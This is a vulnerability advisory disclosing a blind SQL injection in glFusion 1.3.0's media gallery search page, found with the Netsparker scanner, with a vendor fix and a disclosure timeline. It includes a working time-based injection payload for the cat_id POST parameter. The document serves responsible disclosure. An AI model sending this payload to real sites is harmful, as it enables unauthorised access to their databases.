glFusion 1.3.0 (search.php, cat_id param) – SQL Injection

Information
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Name :  SQL Injection Vulnerability in glFusion
Software :  glFusion 1.3.0 and possibly below.
Vendor Homepage : http://www.glfusion.org
Vulnerability Type :  Blind SQL Injection
Severity :  Critical
Researcher :  Omar Kurt
Advisory Reference :  NS-13-009

Description
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A dynamic system based on flexible and granular permissions, with spam
protection, forums, file management, media gallery, calendars, polls,
site-wide search, RSS feeds, and more!

Details
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glFusion is affected by SQL Injection vulnerability in version 1.3.0.
Example PoC url is as follows:
Blind SQL Injection Vulnerability
http://example.com/mediagallery/search.php
POST - param:
cat_id='+(SELECT 1 FROM (SELECT SLEEP(25))A)+'

You can read the full article about SQL Injection vulnerabilities from here
:

http://www.mavitunasecurity.com/sql-injection/

Solution
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http://www.glfusion.org/article.php/glfusion131

Advisory Timeline
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05/09/2013 - First contact: No response
05/09/2013 - Vendor replied
05/09/2013 - Shared details
06/09/2013 - Fix released
09/09/2013 - Advisory Released

Credits
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It has been discovered on testing of Netsparker, Web Application Security
Scanner - http://www.mavitunasecurity.com/netsparker/.

References
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MSL Advisory Link :
https://www.mavitunasecurity.com/sql-injection-vulnerability-in-glfusion/
Netsparker Advisories :
http://www.mavitunasecurity.com/netsparker-advisories/

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